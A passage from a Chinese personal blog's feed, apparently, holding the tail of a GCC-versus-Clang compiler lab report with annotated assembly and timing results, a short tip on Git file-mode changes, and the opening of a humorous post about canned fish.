Condition Code 1&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;不跳转的话会执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;CALL64pcrel32……&lt;&#x2F;code&gt;调用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;puts；跳转的话就到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;bb.2&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;也写了，对应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;label8）退栈（frame-destroy&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，返回。&lt;&#x2F;p&gt;
&lt;p&gt;这个实验说是叫“查看编译优化的结果&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，但其实到最后都还是判断&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a+2==42，GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一上来到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;original&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是判断&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a==40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。不过这也是因为测试程序太短了，所以出现的可优化特例没有被优化吧。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看生成的目标代码结果：Target code generation:clang -S test.c&lt;&#x2F;p&gt;
&lt;p&gt;其实上一步就生成了汇编代码了，只不过这个命令不会往控制台打印很多东西。&lt;&#x2F;p&gt;
&lt;p&gt;生成的汇编文件中与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有关的是这一段：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;asm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  movl         &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;$40&lt;&#x2F;span&gt;&lt;span&gt;, -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;(%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;)      &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; 很奇怪，Clang是用基址寄存器定位变量的&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  movl         -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;(%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;), %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;     ; 把a放到eax里&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  addl         &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;span&gt;, %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;           ; 给a加2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  cmpl         &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;$42&lt;&#x2F;span&gt;&lt;span&gt;, %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;          ; a和42比大小——这里GCC从**一开始**就优化掉了，直接跳过+2和40比大小&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  jne&lt;&#x2F;span&gt;&lt;span&gt;          .LBB0_2            &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; if语句来啦&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# %bb.1:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  leaq         .L.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rip&lt;&#x2F;span&gt;&lt;span&gt;), %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; ; 把字符串放到rdi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  callq        puts@PLT           &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; 调用puts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;LBB0_2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  xorl         %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;, %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;         ; 清零eax，GCC用的是mov 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  addq         &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;$16&lt;&#x2F;span&gt;&lt;span&gt;, %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  popq         %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;               ; 这两句对应GCC的leave&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  .cfi_def_cfa %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  retq&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;GCC与LLVM对比分析&quot;&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LLVM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对比分析&lt;&#x2F;h2&gt;
&lt;p&gt;CPU&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是英特尔&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;i5-7200U，4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;核&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2.5GHz，4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;32KB
L1 Cache，两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;256KB L2 Cache，一个 3M L3
Cache。内存&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16GB。&lt;&#x2F;p&gt;
&lt;p&gt;我用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Python&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;生成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1000001&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0-32767&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的随机整数做输入列表，通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;cat input.txt | .&#x2F;a.out&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;,&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;程序内部记录排序函数的时间。每种优化程度计时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次取平均。&lt;&#x2F;p&gt;
&lt;p&gt;代码是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;lab1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的未调优快排，表格单位是秒&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;O0&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;O1&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;O2&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;O3&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;GCC&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.211604&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.102269&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.083705&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.087721&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Clang&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.198786&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.101447&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.070781&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0.070321&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可以看到不管何种程度的优化，这两种编译器编译出的程序速度都很接近，只不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一直比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;快&lt;&#x2F;p&gt;
&lt;p&gt;而且只有最初的优化消减的时间多（O0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;O1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒，O1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;O2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.02&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，奇怪的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;O3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;O2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还慢，是它优化太多把自己绕晕了？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;实验心得体会&quot;&gt;实验心得体会&lt;&#x2F;h2&gt;
&lt;p&gt;两个编译器都是“前后端分离”的：前段吐出语言无关、平台无关的中间代码，后端把中间代码翻译成汇编、机器码。&lt;&#x2F;p&gt;
&lt;p&gt;还有两个编译器都有很多&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pass，我原以为最多扫三遍就够了，工业级编译器真是不可小觑。clang
-print-after-all&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的输出有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;37&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;after，大概有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;37&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吧，GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更狠，到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;dfinish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;318&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pass。我说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编译怎么那么慢呢，听说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;go&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很快，应该没多少&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吧。&lt;&#x2F;p&gt;
&lt;p&gt;对于中间代码来说，Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更可读：Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RISC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;汇编，一条一条的简短但信息量足（指区分类型，变量、指令、寄存器的前缀命名&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，对应到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;每一句都是好几行罗列好多奇怪数字的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp
RTL。而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LLVM
IR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有变量的概念，GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;取一个变量都要通过栈顶加常量来获取——这一段就要两行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一万个括号。&lt;&#x2F;p&gt;
&lt;p&gt;而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也更贴近教科书，或者说条理更清晰；GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;像是没怎么设计，总之能跑能用就得了的程序：对于语法树，Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;真的是以树形图打印的，GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是一团代码充斥着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;goto；中间代码，Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;好歹能看，GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就像拿来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写了一堆宏&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数发现能用就接着用了。&lt;&#x2F;p&gt;
&lt;p&gt;我以后写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&#x2F;C++&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都会尽量用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了，这次实验&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给我的印象太差了：又慢又混乱。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.llvm.org&#x2F;2018&#x2F;03&#x2F;clang-is-now-used-to-build-chrome-for.html&quot;&gt;Chrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在所有平台上都是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编译的。&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;另外虽然我可能不会接触，但如果要二次开发的话，Clang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是更好的选择，因为中间代码清爽许多。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;notes-on-gcc-llvm
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;notes-on-gcc-llvm&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>解决没有修改文件但Git认为你修改了</title>
    <published>2020-02-28T08:18:58+00:00</published>
    <updated>2023-04-19T21:23:29+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/git-filemode/" type="text/html" />
    <id>https://emptystack.top/git-filemode/</id>
    <content type="html">
      &lt;p&gt;这种情况看起来内容没变，但文件一定是被真正修改了。改变的点可能是换行符（LF
⇄ CRLF&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，也可能是文件权限。&lt;&#x2F;p&gt;
&lt;p&gt;如果是文件权限，设置忽略文件权限即可：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; git config core.filemode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我出现这个问题的原因是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;exFAT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;格式的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;U&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;盘在两台&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ext4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;格式的电脑之间拷项目。这两种格式一个为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;设计一个为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;设计，权限管理自然也不一样。因此权限在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ext4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上本来是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;-rw-r--r--&lt;&#x2F;code&gt;，过了一遍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;exFAT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;-rwxrwxrwx&lt;&#x2F;code&gt;。所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;认为文件变了，但编辑器就是没法高亮哪里变了。&lt;&#x2F;p&gt;
&lt;p&gt;其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自身是可以告诉你文件权限被改变的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; git diff README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;diff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; a&#x2F;README.md b&#x2F;README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;old&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; mode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100644&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; mode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100755&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;git-filemode
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;git-filemode&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>海洋学博士教你辨识常见海鱼</title>
    <published>2020-02-22T23:59:27+08:00</published>
    <updated>2020-02-22T23:59:27+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/canned-fish/" type="text/html" />
    <id>https://emptystack.top/canned-fish/</id>
    <content type="html">
      &lt;p&gt;大家经常分不清自己吃的是什么鱼，所以大家经常吃的是什么鱼呢？为了解答大家的问题，我特意邀请到了我来给大家讲解常见海鱼。那么现在就请大家教我如何分辨常见海鱼。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们先来认鳗鱼和秋刀鱼，鳗鱼和秋刀鱼不像其他鱼有鱼头鱼尾，鳗鱼和秋刀鱼只有类似其他鱼中间部分的鱼肉段。一般横着放的是鳗鱼，竖着放的是秋刀鱼，因为刀是竖着插进鞘里的，而鳗是横着放在案板上。请大家看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PPT：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;鳗鱼&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;秋刀鱼&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;鳗鱼-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;鳗鱼-optim.jpg&quot;
	alt=&quot;鳗鱼罐头&quot;
	height=&quot;768&quot;
